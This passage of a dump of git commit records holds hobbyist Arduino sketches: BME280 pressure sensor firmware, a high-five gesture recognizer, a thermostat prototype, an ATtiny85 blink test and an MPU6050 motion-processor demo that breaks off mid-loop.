calibration_P(pres_raw);\n temp_act = (float)temp_cal \/ 100.0;\n press_act = (float)press_cal \/ 100.0;\n\n bool_msg.data = (press_act < 900);\n pressure_msg.data = press_act;\n\n state_pub.publish(&bool_msg);\n pressure_pub.publish(&pressure_msg);\n servo_torque_pub.publish(&servo_torque_msg);\n servo_angle_pub.publish(&servo_angle_msg);\n\n publisher_timer = millis() + 100;\n }\n nh.spinOnce();\n}\n\nvoid init_servo()\n{\n \/\/myservo.attach(5);\n set_angle();\n}\n\nvoid initBME()\n{\n digitalWrite(SS, LOW);\n SPI.transfer((0xF5 & 0x7F));\n SPI.transfer(0xA0);\n SPI.transfer((0xF4 & 0x7F));\n SPI.transfer(0x27);\n digitalWrite(SS, HIGH);\n}\n\nvoid readTrim()\n{\n uint8_t data[32];\n int i;\n digitalWrite(SS, LOW);\n SPI.transfer((0x88 | 0x80));\n for (i = 0; i < 24; i++) {\n data[i] = SPI.transfer(0);\n }\n digitalWrite(SS, HIGH);\n delay(1);\n digitalWrite(SS, LOW);\n SPI.transfer((0xA1 | 0x80));\n data[24] = SPI.transfer(0);\n digitalWrite(SS, HIGH);\n delay(1);\n digitalWrite(SS, LOW);\n SPI.transfer((0xE1 | 0x80));\n for (i = 25; i < 32; i++) {\n data[i] = SPI.transfer(0);\n }\n digitalWrite(SS, HIGH);\n\n dig_T1 = (data[1] << 8) | data[0];\n dig_T2 = (data[3] << 8) | data[2];\n dig_T3 = (data[5] << 8) | data[4];\n dig_P1 = (data[7] << 8) | data[6];\n dig_P2 = (data[9] << 8) | data[8];\n dig_P3 = (data[11] << 8) | data[10];\n dig_P4 = (data[13] << 8) | data[12];\n dig_P5 = (data[15] << 8) | data[14];\n dig_P6 = (data[17] << 8) | data[16];\n dig_P7 = (data[19] << 8) | data[18];\n dig_P8 = (data[21] << 8) | data[20];\n dig_P9 = (data[23] << 8) | data[22];\n}\n\nvoid readData()\n{\n uint32_t data[8];\n int i;\n digitalWrite(SS, LOW);\n SPI.transfer((0xF7 | 0x80));\n for (i = 0; i < 8; i++) {\n data[i] = SPI.transfer(0x00);\n }\n digitalWrite(SS, HIGH);\n pres_raw = (data[0] << 12) | (data[1] << 4) | (data[2] >> 4);\n temp_raw = (data[3] << 12) | (data[4] << 4) | (data[5] >> 4);\n}\n\nsigned long int calibration_T(signed long int adc_T)\n{\n\n signed long int var1, var2, T;\n var1 = ((((adc_T >> 3) - ((signed long int)dig_T1 << 1))) * ((signed long int)dig_T2)) >> 11;\n var2 = (((((adc_T >> 4) - ((signed long int)dig_T1)) * ((adc_T >> 4) - ((signed long int)dig_T1))) >> 12) * ((signed long int)dig_T3)) >> 14;\n\n t_fine = var1 + var2;\n T = (t_fine * 5 + 128) >> 8;\n return T;\n}\n\nunsigned long int calibration_P(signed long int adc_P)\n{\n signed long int var1, var2;\n unsigned long int P;\n var1 = (((signed long int)t_fine) >> 1) - (signed long int)64000;\n var2 = (((var1 >> 2) * (var1 >> 2)) >> 11) * ((signed long int)dig_P6);\n var2 = var2 + ((var1 * ((signed long int)dig_P5)) << 1);\n var2 = (var2 >> 2) + (((signed long int)dig_P4) << 16);\n var1 = (((dig_P3 * (((var1 >> 2) * (var1 >> 2)) >> 13)) >> 3) + ((((signed long int)dig_P2) * var1) >> 1)) >> 18;\n var1 = ((((32768 + var1)) * ((signed long int)dig_P1)) >> 15);\n if (var1 == 0)\n {\n return 0;\n }\n P = (((unsigned long int)(((signed long int)1048576) - adc_P) - (var2 >> 12))) * 3125;\n if (P < 0x80000000)\n {\n P = (P << 1) \/ ((unsigned long int) var1);\n }\n else\n {\n P = (P \/ (unsigned long int)var1) * 2;\n }\n var1 = (((signed long int)dig_P9) * ((signed long int)(((P >> 3) * (P >> 3)) >> 13))) >> 12;\n var2 = (((signed long int)(P >> 2)) * ((signed long int)dig_P8)) >> 13;\n P = (unsigned long int)((signed long int)P + ((var1 + var2 + dig_P7) >> 4));\n return P;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jsk_2016_01_baxter_apc\/firmware\/gripper_front_manager_left.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"b84c4106a6abe82da8b1056309e6cc14c9698056","subject":"Added basic gesture recognition for a high-five demo","message":"Added basic gesture recognition for a high-five demo\n","repos":"joshsh\/smsn,joshsh\/smsn,joshsh\/smsn,joshsh\/smsn,joshsh\/extendo,joshsh\/extendo,joshsh\/smsn,joshsh\/extendo,joshsh\/extendo,joshsh\/smsn,joshsh\/extendo,joshsh\/smsn,joshsh\/extendo,joshsh\/extendo","old_file":"extendo-hand\/src\/main\/arduino\/sketches\/highfive\/highfive.ino","new_file":"extendo-hand\/src\/main\/arduino\/sketches\/highfive\/highfive.ino","new_contents":"\/*\n * Extend-o-Hand high-five sketch, copyright 2015 by Joshua Shinavier\n * Note: this is a \"weak\" high-five recognizer for a fun demo;\n * in its current form, it is not precise enough to be combined with other gestures.\n * \n * See: https:\/\/github.com\/joshsh\/extendo\n *\/\n\n#define THREEAXIS 0\n#define NINEAXIS 1\n\n#include <ExtendoHand.h>\n#include <SpikeDetector.h>\n#include <Vector3D.h>\n#include <ScalarFilter.h>\n#include <CircularBufferFilter.h>\n#include <HighPassFilter.h>\n#include <LowPassFilter.h>\n#include <BooleanFilter.h>\n#include <DirectionFilter.h>\n#include <CrestDetector.h>\n#include <VectorFilter.h>\n\n#include <ExtendoDevice.h>\n\/\/#include <Droidspeak.h>\n#include <ExtendOSC.h>\n\/\/#include <Morse.h>\n#include <RGBLED.h>\n#include <Adafruit_NeoPixel.h>\n#include <OSCBundle.h>\n\/\/#include <MMA7361.h>\n#include <Wire.h>\n#include <I2Cdev.h>\n#include <ADXL345.h>\n\/\/#include <ITG3200.h>\n\/\/#include <HMC5883L.h>\n\n#define HIGHFIVE \"\/exo\/activity\/highfive\"\n\nExtendoHand exoHand;\n\nunsigned long loopTimeMs;\n\nvoid emitGesture(const char *address, unsigned long tRef, unsigned long now) {\n OSCMessage m(address);\n m.add(exoHand.getContext());\n\n \/* TODO: temporarily disabled to save on flash memory\n \/\/ note: recognition is delayed by about one time step from the actual crest,\n \/\/ so we subtract loopTimeMs\n m.add((uint64_t) (tRef-loopTimeMs));\n\n \/\/ also add the time of recognition\n m.add((uint64_t) now);\n \/\/*\/\n\n exoHand.getOSC()->sendOSC(m);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ high-five gesture\n\n\/\/ require a reasonable 1s between high-fives. Lower intervals are evidence of too much coffee.\nunsigned long interSpikeDelay = 1000;\n\n\/\/ high-five like you mean it\ndouble spikeThreshold = 3.0;\n\nSpikeDetector spikeDetector(spikeThreshold, interSpikeDelay);\n\n\/\/ note: not using CircularBufferFilter's period and timestep as intended; just creating a simple, small buffer\nconst int smoothingBufferSize = 10;\nCircularBufferFilter smoothingX(smoothingBufferSize, 1);\nCircularBufferFilter smoothingY(smoothingBufferSize, 1);\nCircularBufferFilter smoothingZ(smoothingBufferSize, 1);\nVectorFilter smoothing(smoothingX, smoothingY, smoothingZ);\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid loopTimeUpdated(double loopTime) {\n \/\/smoothing.updateTimestep(loopTime);\n\n loopTimeMs = (unsigned long) (loopTime * 1000);\n\n \/\/exoHand.getOSC()->sendInfo(\"timestep: %d\/1000000\", (int) (loopTime * 1000000));\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup() {\n exoHand.setLoopTimeHandler(loopTimeUpdated);\n exoHand.setup();\n exoHand.setContext(\"http:\/\/fortytwo.net\/josh\/things\/SBZFumn\");\n\/\/ exoHand.setContext(\"http:\/\/fortytwo.net\/josh\/things\/JdGwZ4n\");\n\n exoHand.playTone(440,100);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nVector3D a;\n\nvoid loop() {\n unsigned long now = exoHand.beginLoop();\n\n \/\/ raw motion data\n exoHand.getAcceleration(a);\n\n \/\/ smoothing\n Vector3D smooth = smoothing.processNext(now, a);\n\n \/\/ high-five recognition\n unsigned long isSpike = spikeDetector.processNext(now, a.getMagnitude());\n if (isSpike > 0) {\n \/\/ Since this is a very simple demo we do not filter by direction.\n \/\/ Simultaneous peaks are sufficient.\n exoHand.setColorFor(RGB_YELLOW, 300);\n \/\/exoHand.playTone(880, 75);\n emitGesture(HIGHFIVE, isSpike, now);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'extendo-hand\/src\/main\/arduino\/sketches\/highfive\/highfive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b23ba6038d85d74c178747f86b7b4e6b1c56f232","subject":"Just testing out a new prototype (relay breakout board, and LCD backlight now fed through an external power supply instead of the 5V line of the arduino board).","message":"Just testing out a new prototype (relay breakout board, and LCD backlight now fed through an external power supply instead of the 5V line of the arduino board).\n","repos":"dlefevre\/priority_thermostat,dlefevre\/priority_thermostat","old_file":"sketches\/priority_thermostat\/priority_thermostat.ino","new_file":"sketches\/priority_thermostat\/priority_thermostat.ino","new_contents":"\/*\n * This is free and unencumbered software released into the public domain.\n * \n * Anyone is free to copy, modify, publish, use, compile, sell, or\n * distribute this software, either in source code form or as a compiled\n * binary, for any purpose, commercial or non-commercial, and by any\n * means.\n * \n * In jurisdictions that recognize copyright laws, the author or authors\n * of this software dedicate any and all copyright interest in the\n * software to the public domain. We make this dedication for the benefit\n * of the public at large and to the detriment of our heirs and\n * successors. We intend this dedication to be an overt act of\n * relinquishment in perpetuity of all present and future rights to this\n * software under copyright law.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n * \n * For more information, please refer to <http:\/\/unlicense.org>\n *\/\n\n\/*\n * Description: \n * This sketch implements a priority thermostat:\n * - The thermostat determines the boiler temperature using a thermistor. Since\n * I'm lacking specs for the thermistor that I \"recycled\" I interpolate the temperature\n * from a set of calibration values.\n * - The boiler's relays are activated\/deactivated using a simple hysteresis loop. \n * - There's a basic interface through 4 buttons and a 20x4 lcd display.\n * Author: Dusty Lefevre\n *\/\n\n#include <LiquidCrystal.h>\n\n\/\/ LCD pins\n#define LCD_RS_PIN 2\n#define LCD_ENABLE_PIN 3\n#define LCD_D4_PIN 4\n#define LCD_D5_PIN 5\n#define LCD_D6_PIN 6\n#define LCD_D7_PIN 7\n#define LCD_LED_PIN 8\n\n\/\/ Other pins\n#define THERMISTOR_PIN A0\n#define BUTTONS_PIN A1\n#define RELAY_PIN 9\n\nLiquidCrystal lcd(LCD_RS_PIN,\n LCD_ENABLE_PIN,\n LCD_D4_PIN,\n LCD_D5_PIN,\n LCD_D6_PIN,\n LCD_D7_PIN);\n\nint count = 0;\n\nvoid setup() {\n \/\/ Set up LCD\n pinMode(LCD_RS_PIN, OUTPUT);\n pinMode(LCD_ENABLE_PIN, OUTPUT);\n pinMode(LCD_D4_PIN, OUTPUT);\n pinMode(LCD_D5_PIN, OUTPUT);\n pinMode(LCD_D6_PIN, OUTPUT);\n pinMode(LCD_D7_PIN, OUTPUT);\n pinMode(LCD_LED_PIN, OUTPUT);\n\n digitalWrite(LCD_LED_PIN, HIGH);\n lcd.begin(20, 4);\n\n \/\/ Set up relay\n pinMode(RELAY_PIN, OUTPUT);\n digitalWrite(RELAY_PIN, HIGH);\n\n Serial.begin(9600);\n analogReference(EXTERNAL);\n}\n\nvoid loop() {\n int buttonValue = analogRead(BUTTONS_PIN);\n delay(20);\n int thermistorValue = analogRead(THERMISTOR_PIN);\n delay(20);\n \n lcd.clear();\n lcd.print(\"buttons: \");\n lcd.print(buttonValue);\n lcd.setCursor(0, 1);\n lcd.print(\"thermistor: \");\n lcd.print(thermistorValue);\n\n if(buttonValue > 1000) {\n digitalWrite(RELAY_PIN, LOW);\n } else if(buttonValue > 920 && buttonValue < 940) {\n digitalWrite(LCD_LED_PIN, LOW);\n } else {\n digitalWrite(RELAY_PIN, HIGH);\n digitalWrite(LCD_LED_PIN, HIGH);\n }\n\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/priority_thermostat\/priority_thermostat.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"db05f8c34698df5f9096d1515fe86e57adf1cc91","subject":"Create simillogo.ino","message":"Create simillogo.ino\n\nUno sketch che riceve una stringa via Bluetooth e ne interpreta i comandi stile LOGO.","repos":"alcir\/robocodice","old_file":"esempi\/simillogo.ino","new_file":"esempi\/simillogo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/alcir\/robocodice.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"21e972aa2a1971db29fca916189718d65921e80d","subject":"Add blink test for Attiny85","message":"Add blink test for Attiny85\n\ntest OK with new core arduino-tiny\n","repos":"totothekiller\/weather-station,totothekiller\/weather-station","old_file":"BlinkAttiny85\/BlinkAttiny85.ino","new_file":"BlinkAttiny85\/BlinkAttiny85.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n \n This example code is in the public domain.\n *\/\n\n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nint led = 3;\nint led2 = 4;\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() { \n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT); \n pinMode(led2, OUTPUT); \n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n digitalWrite(led, HIGH);\n digitalWrite(led2, LOW); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(led, LOW);\n digitalWrite(led2, HIGH); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BlinkAttiny85\/BlinkAttiny85.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"96fbd81e35a36cb139a3b59f32c030b535a400fe","subject":"Digital motion processor MPU6050","message":"Digital motion processor MPU6050\n","repos":"KRVPerera\/CalliWand_v0.1,KRVPerera\/CalliWand_v0.1","old_file":"MPU6050_DMP6\/MPU6050_DMP6.ino","new_file":"MPU6050_DMP6\/MPU6050_DMP6.ino","new_contents":"\/\/ I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050 class using DMP (MotionApps v2.0)\n\/\/ 6\/21\/2012 by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\/\/\n\/\/ Changelog:\n\/\/ 2013-05-08 - added seamless Fastwire support\n\/\/ - added note about gyro calibration\n\/\/ 2012-06-21 - added note about Arduino 1.0.1 + Leonardo compatibility error\n\/\/ 2012-06-20 - improved FIFO overflow handling and simplified read process\n\/\/ 2012-06-19 - completely rearranged DMP initialization code and simplification\n\/\/ 2012-06-13 - pull gyro and accel data from FIFO packet instead of reading directly\n\/\/ 2012-06-09 - fix broken FIFO read sequence and change interrupt detection to RISING\n\/\/ 2012-06-05 - add gravity-compensated initial reference frame acceleration output\n\/\/ - add 3D math helper file to DMP6 example sketch\n\/\/ - add Euler output and Yaw\/Pitch\/Roll output formats\n\/\/ 2012-06-04 - remove accel offset clearing for better results (thanks Sungon Lee)\n\/\/ 2012-06-01 - fixed gyro sensitivity to be 2000 deg\/sec instead of 250\n\/\/ 2012-05-30 - basic DMP initialization working\n\n\/* ============================================\nI2Cdev device library code is placed under the MIT license\nCopyright (c) 2012 Jeff Rowberg\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n===============================================\n*\/\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"I2Cdev.h\"\n\n#include \"MPU6050_6Axis_MotionApps20.h\"\n\/\/#include \"MPU6050.h\" \/\/ not necessary if using MotionApps include file\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for SparkFun breakout and InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 mpu;\n\/\/MPU6050 mpu(0x69); \/\/ <-- use for AD0 high\n\n\/* =========================================================================\n NOTE: In addition to connection 3.3v, GND, SDA, and SCL, this sketch\n depends on the MPU-6050's INT pin being connected to the Arduino's\n external interrupt #0 pin. On the Arduino Uno and Mega 2560, this is\n digital I\/O pin 2.\n * ========================================================================= *\/\n\n\/* =========================================================================\n NOTE: Arduino v1.0.1 with the Leonardo board generates a compile error\n when using Serial.write(buf, len). The Teapot output uses this method.\n The solution requires a modification to the Arduino USBAPI.h file, which\n is fortunately simple, but annoying. This will be fixed in the next IDE\n release. For more info, see these links:\n\n http:\/\/arduino.cc\/forum\/index.php\/topic,109987.0.html\n http:\/\/code.google.com\/p\/arduino\/issues\/detail?id=958\n * ========================================================================= *\/\n\n\n\n\/\/ uncomment \"OUTPUT_READABLE_QUATERNION\" if you want to see the actual\n\/\/ quaternion components in a [w, x, y, z] format (not best for parsing\n\/\/ on a remote host such as Processing or something though)\n\/\/#define OUTPUT_READABLE_QUATERNION\n\n\/\/ uncomment \"OUTPUT_READABLE_EULER\" if you want to see Euler angles\n\/\/ (in degrees) calculated from the quaternions coming from the FIFO.\n\/\/ Note that Euler angles suffer from gimbal lock (for more info, see\n\/\/ http:\/\/en.wikipedia.org\/wiki\/Gimbal_lock)\n\/\/#define OUTPUT_READABLE_EULER\n\n\/\/ uncomment \"OUTPUT_READABLE_YAWPITCHROLL\" if you want to see the yaw\/\n\/\/ pitch\/roll angles (in degrees) calculated from the quaternions coming\n\/\/ from the FIFO. Note this also requires gravity vector calculations.\n\/\/ Also note that yaw\/pitch\/roll angles suffer from gimbal lock (for\n\/\/ more info, see: http:\/\/en.wikipedia.org\/wiki\/Gimbal_lock)\n#define OUTPUT_READABLE_YAWPITCHROLL\n\n\/\/ uncomment \"OUTPUT_READABLE_REALACCEL\" if you want to see acceleration\n\/\/ components with gravity removed. This acceleration reference frame is\n\/\/ not compensated for orientation, so +X is always +X according to the\n\/\/ sensor, just without the effects of gravity. If you want acceleration\n\/\/ compensated for orientation, us OUTPUT_READABLE_WORLDACCEL instead.\n\/\/#define OUTPUT_READABLE_REALACCEL\n\n\/\/ uncomment \"OUTPUT_READABLE_WORLDACCEL\" if you want to see acceleration\n\/\/ components with gravity removed and adjusted for the world frame of\n\/\/ reference (yaw is relative to initial orientation, since no magnetometer\n\/\/ is present in this case). Could be quite handy in some cases.\n\/\/#define OUTPUT_READABLE_WORLDACCEL\n\n\/\/ uncomment \"OUTPUT_TEAPOT\" if you want output that matches the\n\/\/ format used for the InvenSense teapot demo\n\/\/#define OUTPUT_TEAPOT\n\n\n\n#define LED_PIN 13 \/\/ (Arduino is 13, Teensy is 11, Teensy++ is 6)\nbool blinkState = false;\n\n\/\/ MPU control\/status vars\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\n\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat euler[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\n\n\/\/ packet structure for InvenSense teapot demo\nuint8_t teapotPacket[14] = { '$', 0x02, 0,0, 0,0, 0,0, 0,0, 0x00, 0x00, '\\r', '\\n' };\n\n\n\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\n\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nvoid dmpDataReady() {\n mpuInterrupt = true;\n}\n\n\/\/#define OUTPUT_READABLE_YAWPITCHROLL\n\/\/#define OUTPUT_READABLE_QUATERNION\n\/\/#define OUTPUT_READABLE_EULER\n#define OUTPUT_READABLE_REALACCEL\n\/\/#define OUTPUT_READABLE_WORLDACCEL\n\/\/#define OUTPUT_TEAPOT\n\n\/\/ ================================================================\n\/\/ === INITIAL SETUP ===\n\/\/ ================================================================\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n TWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz)\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n #endif\n\n \/\/ initialize serial communication\n \/\/ (115200 chosen because it is required for Teapot Demo output, but it's\n \/\/ really up to you depending on your project)\n Serial.begin(115200);\n while (!Serial); \/\/ wait for Leonardo enumeration, others continue immediately\n\n \/\/ NOTE: 8MHz or slower host processors, like the Teensy @ 3.3v or Ardunio\n \/\/ Pro Mini running at 3.3v, cannot handle this baud rate reliably due to\n \/\/ the baud timing being too misaligned with processor ticks. You must use\n \/\/ 38400 or slower in these cases, or use some kind of external separate\n \/\/ crystal solution for the UART timer.\n\n \/\/ initialize device\n Serial.println(F(\"Initializing I2C devices...\"));\n mpu.initialize();\n\n \/\/ verify connection\n Serial.println(F(\"Testing device connections...\"));\n Serial.println(mpu.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n \/\/ wait for ready\n Serial.println(F(\"\\nSend any character to begin DMP programming and demo: \"));\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n while (!Serial.available()); \/\/ wait for data\n while (Serial.available() && Serial.read()); \/\/ empty buffer again\n\n \/\/ load and configure the DMP\n Serial.println(F(\"Initializing DMP...\"));\n devStatus = mpu.dmpInitialize();\n\n \/\/ supply your own gyro offsets here, scaled for min sensitivity\n mpu.setXGyroOffset(0);\n mpu.setYGyroOffset(0);\n mpu.setZGyroOffset(0);\n mpu.setXAccelOffset(0);\n mpu.setYAccelOffset(0);\n mpu.setZAccelOffset(0);\n \n\/\/ \n\/\/ mpu.setXGyroOffset(220);\n\/\/ mpu.setYGyroOffset(76);\n\/\/ mpu.setZGyroOffset(-85);\n\/\/ mpu.setXAccelOffset(1432);\n\/\/ mpu.setYAccelOffset(-2647);\n\/\/ mpu.setZAccelOffset(1788); \/\/ 1688 factory default for my test chip\n\n \/\/ make sure it worked (returns 0 if so)\n if (devStatus == 0) {\n \/\/ turn on the DMP, now that it's ready\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n\n \/\/ enable Arduino interrupt detection\n Serial.println(F(\"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n attachInterrupt(0, dmpDataReady, RISING);\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n Serial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n dmpReady = true;\n\n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n } else {\n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n }\n\n \/\/ configure LED for output\n pinMode(LED_PIN, OUTPUT);\n}\n\n\n\n\/\/ ================================================================\n\/\/ === MAIN PROGRAM LOOP ===\n\/\/ ================================================================\n\nvoid loop() {\n \/\/ if programming failed, don't try to do anything\n if (!dmpReady) return;\n\n \/\/ wait for MPU interrupt or extra packet(s) available\n while (!mpuInterrupt && fifoCount < packetSize) {\n \/\/ other program behavior stuff here\n \/\/ .\n \/\/ .\n \/\/ .\n \/\/ if you are really paranoid you can frequently test in between other\n \/\/ stuff to see if mpuInterrupt is true, and if so, \"break;\" from the\n \/\/ while() loop to immediately process the MPU data\n \/\/ .\n \/\/ .\n \/\/ .\n }\n\n \/\/ reset interrupt flag and get INT_STATUS byte\n mpuInterrupt = false;\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ get current FIFO count\n fifoCount = mpu.getFIFOCount();\n\n \/\/ check for overflow (this should never happen unless our code is too inefficient)\n if ((mpuIntStatus & 0x10) || fifoCount == 1024) {\n \/\/ reset so we can continue cleanly\n mpu.resetFIFO();\n Serial.println(F(\"FIFO overflow!\"));\n\n \/\/ otherwise, check for DMP data ready interrupt (this should happen frequently)\n } else if (mpuIntStatus & 0x02) {\n \/\/ wait for correct available data length, should be a VERY short wait\n while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();\n\n \/\/ read a packet from FIFO\n mpu.getFIFOBytes(fifoBuffer, packetSize);\n \n \/\/ track FIFO count here in case there is > 1 packet available\n \/\/ (this lets us immediately read more without waiting for an interrupt)\n fifoCount -= packetSize;\n\n #ifdef OUTPUT_READABLE_QUATERNION\n \/\/ display quaternion values in easy matrix form: w x y z\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n Serial.print(\"quat\\t\");\n Serial.print(q.w);\n Serial.print(\"\\t\");\n Serial.print(q.x);\n Serial.print(\"\\t\");\n Serial.print(q.y);\n Serial.print(\"\\t\");\n Serial.println(q.z);\n #endif\n\n #ifdef OUTPUT_READABLE_EULER\n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetEuler(euler, &q);\n Serial.print(\"euler\\t\");\n Serial.print(euler[0] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(euler[1] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.println(euler[2] * 180\/M_PI);\n #endif\n\n #ifdef OUTPUT_READABLE_YAWPITCHROLL\n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n Serial.print(\"ypr\\t\");\n Serial.print(ypr[0] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(ypr[1] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.println(ypr[2] * 180\/M_PI);\n #endif\n\n #ifdef OUTPUT_READABLE_REALACCEL\n \/\/ display real acceleration, adjusted to remove gravity\n 